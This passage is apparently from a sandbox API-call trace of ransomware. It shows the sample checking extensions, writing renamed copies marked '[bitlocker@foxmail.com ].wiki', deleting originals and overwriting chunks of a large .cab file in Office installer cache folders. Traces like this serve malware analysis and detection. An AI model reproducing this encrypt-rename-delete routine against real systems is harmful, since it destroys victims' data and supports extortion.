[0053.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.648] lstrlenW (lpString=".jpg") returned 4 [0053.648] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.648] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0053.648] lstrlenW (lpString="dwintl20.dll") returned 12 [0053.648] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.648] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=107912) returned 1 [0053.648] CloseHandle (hObject=0x194) returned 1 [0053.648] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0053.649] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.649] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.649] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.649] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.649] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0054.741] GetLastError () returned 0x0 [0054.741] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x1a588, lpOverlapped=0x0) returned 1 [0054.796] WriteFile (in: hFile=0x1e8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0054.798] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.798] WriteFile (in: hFile=0x1e8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.798] SetEndOfFile (hFile=0x1e8) returned 1 [0054.798] CloseHandle (hObject=0x1e8) returned 1 [0054.799] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.799] SetEndOfFile (hFile=0x194) returned 1 [0054.800] CloseHandle (hObject=0x194) returned 1 [0054.800] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0054.800] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0054.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.800] lstrlenW (lpString=".doc") returned 4 [0054.800] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.800] lstrlenW (lpString=".docx") returned 5 [0054.800] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.800] lstrlenW (lpString=".pdf") returned 4 [0054.800] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.800] lstrlenW (lpString=".xls") returned 4 [0054.800] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.800] lstrlenW (lpString=".xlsx") returned 5 [0054.800] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.800] lstrlenW (lpString=".ppt") returned 4 [0054.801] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.801] lstrlenW (lpString=".zip") returned 4 [0054.801] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.801] lstrlenW (lpString=".rar") returned 4 [0054.801] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.801] lstrlenW (lpString=".bz2") returned 4 [0054.801] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.801] lstrlenW (lpString=".7z") returned 3 [0054.801] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.801] lstrlenW (lpString=".dbf") returned 4 [0054.801] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.801] lstrlenW (lpString=".1cd") returned 4 [0054.801] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.801] lstrlenW (lpString=".jpg") returned 4 [0054.801] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.801] lstrlenW (lpString=".doc") returned 4 [0054.801] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.801] lstrlenW (lpString=".docx") returned 5 [0054.801] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.801] lstrlenW (lpString=".pdf") returned 4 [0054.801] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.801] lstrlenW (lpString=".xls") returned 4 [0054.801] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.801] lstrlenW (lpString=".xlsx") returned 5 [0054.801] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.801] lstrlenW (lpString=".ppt") returned 4 [0054.801] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.801] lstrlenW (lpString=".zip") returned 4 [0054.801] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.801] lstrlenW (lpString=".rar") returned 4 [0054.801] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.802] lstrlenW (lpString=".bz2") returned 4 [0054.802] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.802] lstrlenW (lpString=".7z") returned 3 [0054.802] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.802] lstrlenW (lpString=".dbf") returned 4 [0054.802] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.802] lstrlenW (lpString=".1cd") returned 4 [0054.802] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0054.802] lstrlenW (lpString=".jpg") returned 4 [0054.802] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.802] lstrcmpiW (lpString1=".MST", lpString2=".wiki") returned -1 [0054.802] lstrlenW (lpString="ShellUI.MST") returned 11 [0054.802] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.802] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3584) returned 1 [0054.802] CloseHandle (hObject=0x194) returned 1 [0054.802] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0054.802] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.802] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.803] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.803] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.803] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0054.803] GetLastError () returned 0x0 [0054.803] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0xe00, lpOverlapped=0x0) returned 1 [0054.928] WriteFile (in: hFile=0x1e8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xe10, lpOverlapped=0x0) returned 1 [0054.929] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.929] WriteFile (in: hFile=0x1e8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.929] SetEndOfFile (hFile=0x1e8) returned 1 [0054.929] CloseHandle (hObject=0x1e8) returned 1 [0054.930] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.930] SetEndOfFile (hFile=0x194) returned 1 [0054.931] CloseHandle (hObject=0x194) returned 1 [0054.931] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0054.931] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0054.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0054.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0054.931] lstrlenW (lpString=".doc") returned 4 [0054.931] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0054.931] lstrlenW (lpString=".docx") returned 5 [0054.931] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0054.931] lstrlenW (lpString=".pdf") returned 4 [0054.932] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0054.932] lstrlenW (lpString=".xls") returned 4 [0054.932] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0054.932] lstrlenW (lpString=".xlsx") returned 5 [0054.932] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0054.932] lstrlenW (lpString=".ppt") returned 4 [0054.932] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0054.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0054.932] lstrlenW (lpString=".zip") returned 4 [0054.932] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0054.932] lstrlenW (lpString=".rar") returned 4 [0054.932] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0054.932] lstrlenW (lpString=".bz2") returned 4 [0054.932] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0054.932] lstrlenW (lpString=".7z") returned 3 [0054.932] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0054.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0054.932] lstrlenW (lpString=".dbf") returned 4 [0054.932] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0054.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0054.932] lstrlenW (lpString=".1cd") returned 4 [0054.932] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0054.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0054.932] lstrlenW (lpString=".jpg") returned 4 [0054.932] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0054.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0054.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0054.933] lstrlenW (lpString=".doc") returned 4 [0054.933] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0054.933] lstrlenW (lpString=".docx") returned 5 [0054.933] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0054.933] lstrlenW (lpString=".pdf") returned 4 [0054.933] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0054.933] lstrlenW (lpString=".xls") returned 4 [0054.933] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0054.933] lstrlenW (lpString=".xlsx") returned 5 [0054.933] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0054.933] lstrlenW (lpString=".ppt") returned 4 [0054.933] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0054.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0054.933] lstrlenW (lpString=".zip") returned 4 [0054.933] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0054.933] lstrlenW (lpString=".rar") returned 4 [0054.933] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0054.933] lstrlenW (lpString=".bz2") returned 4 [0054.933] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0054.933] lstrlenW (lpString=".7z") returned 3 [0054.933] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0054.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0054.933] lstrlenW (lpString=".dbf") returned 4 [0054.933] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0054.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0054.933] lstrlenW (lpString=".1cd") returned 4 [0054.933] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0054.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0054.933] lstrlenW (lpString=".jpg") returned 4 [0054.934] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0054.934] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0054.934] lstrlenW (lpString="AccLR.cab") returned 9 [0054.934] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.985] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=28016276) returned 1 [0054.985] CloseHandle (hObject=0x194) returned 1 [0054.985] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0054.985] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.985] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0054.986] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.986] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0054.986] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.986] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.991] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.991] ReadFile (in: hFile=0x194, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.996] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.996] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.996] ReadFile (in: hFile=0x194, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.011] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.011] WriteFile (in: hFile=0x194, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0055.310] SetEndOfFile (hFile=0x194) returned 1 [0055.310] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0055.314] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.314] WriteFile (in: hFile=0x194, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.315] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.315] WriteFile (in: hFile=0x194, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.317] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.317] WriteFile (in: hFile=0x194, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.319] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0055.319] CloseHandle (hObject=0x194) returned 1 [0055.320] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0055.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.320] lstrlenW (lpString=".doc") returned 4 [0055.320] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0055.320] lstrlenW (lpString=".docx") returned 5 [0055.320] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0055.320] lstrlenW (lpString=".pdf") returned 4 [0055.320] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0055.320] lstrlenW (lpString=".xls") returned 4 [0055.320] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0055.320] lstrlenW (lpString=".xlsx") returned 5 [0055.320] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0055.320] lstrlenW (lpString=".ppt") returned 4 [0055.320] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0055.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.320] lstrlenW (lpString=".zip") returned 4 [0055.320] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0055.320] lstrlenW (lpString=".rar") returned 4 [0055.320] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0055.320] lstrlenW (lpString=".bz2") returned 4 [0055.320] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0055.320] lstrlenW (lpString=".7z") returned 3 [0055.320] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0055.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.321] lstrlenW (lpString=".dbf") returned 4 [0055.321] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0055.321] lstrlenW (lpString="C:\\MSOCache\\All 